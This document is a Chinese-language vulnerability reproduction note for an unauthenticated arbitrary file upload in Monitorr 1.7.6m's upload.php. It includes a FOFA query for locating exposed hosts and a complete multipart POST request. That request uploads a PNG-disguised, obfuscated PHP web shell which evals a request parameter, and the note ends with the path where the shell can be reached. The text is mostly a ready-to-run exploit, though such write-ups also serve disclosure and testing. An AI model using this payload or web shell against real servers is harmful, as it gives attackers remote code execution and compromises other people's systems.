M4-1Monitorr-文件上传

漏洞描述：

Monitorr 1.7.6m 版本中发现漏洞。它已被宣布为关键。受此漏洞影响的是组件服务配置的文件 /assets/php/upload.php 的未知功能。对参数 fileToUpload 的操作会导致不受限制的上传，未经身份验证的攻击者可远程上传恶意文件导致服务器失陷。

网站图片:

网络测绘:

fofa语法：

FOFA：body=“assets/php/timestamp.php”

漏洞复现:

payload：

POST /assets/php/upload.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_4)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMmx988TUuintqO4Q

------WebKitFormBoundaryMmx988TUuintqO4Q
Content-Disposition: form-data; name="fileToUpload"; filename="shell.php"
Content-Type: image/png

{{unquote("\x89PNG\x0d\x0a\x1a\x0a\x00\x00\x00\x0dIHDR\x00\x00\x01\x00\x00\x00\x01\x00\x08\x06\x00\x00\x00\\r\xa8f\x00\x00\x03\x1eIDATx\x9c\xed\xd4\x01\x09\x00A\x10\xc4\xb0Yx\xff\x96\xef\x854\x81Z\xe8m\xef\xdd6I\xbd\xbe\xdd\x80\x28\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x80\xb0\x1f\xbd\xf4\x07\xfa\xeb>\xbe\xab\x00\x00\x00\x00IEND\xaeB`\x82\x0d\x0a<?php class Gn261550 \x7b public function __construct\x28$HW579\x29\x7b @eval\x28\"/*ZWabn8zLCk*/\".$HW579.\"/*ZWabn8zLCk*/\"\x29; \x7d\x7dnew Gn261550\x28$_REQUEST['123']\x29;?>")}}
------WebKitFormBoundaryMmx988TUuintqO4Q--

效果图:

验证url

/assets/data/usrimg/shell.php